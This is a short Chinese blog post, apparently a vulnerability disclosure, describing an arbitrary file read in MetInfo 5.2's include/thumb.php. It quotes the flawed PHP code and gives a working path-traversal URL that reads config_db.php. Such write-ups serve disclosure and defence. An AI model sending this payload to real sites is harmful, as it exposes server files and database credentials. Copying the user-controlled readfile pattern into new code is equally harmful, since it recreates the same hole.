metinfo thumb.php,MetInfo最新版任意文件读取

攻击者通过提交精心构造的参数可以获取服务器端任意文件内容!

MetInfo 5.2(当前最新版本)的 include/thumb.php 文件本来用来获取缩略图,但是其构造的缩略图路径存在外部可控变量,攻击者可以借此获取任意文件内容:

include/thumb.php关键代码如下$ext1 = explode("/", $dir); //$dir变量由外部传入

$count = count($ext1);

$count1 = $ext1[$count-1];

$ext2 = explode(".", $count1);

$ext3 = $ext2[1]; // $ext3为$dir变量文件名后缀

$path1 = $ext2[0]; // $ext3为$dir变量文件名称

$dir1 = '../upload/thumb_src/'.$x.'_'.$y.'/'.$path1.'.'.$ext3; // $x和$y由外部传入,因此导致整个$dir1变量完全可控

if(file_exists($dir1)){ // 该处逻辑实现读取$dir1文件内容

echo "the file exist:".$dir1;

readfile("$dir1");

}else{

$f = new upfile();

$imgurls = $f->createthumb($dir,$x,$y);

readfile($imgurls);

}

?>

攻击者够高的攻击性URL为:include/thumb.php?x=1&y=/../../../config&dir=config_db.php

然后在浏览器源码中可以看到config_db.php的代码:

9d2c1d9d054c05139ce49958b31aca0a.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值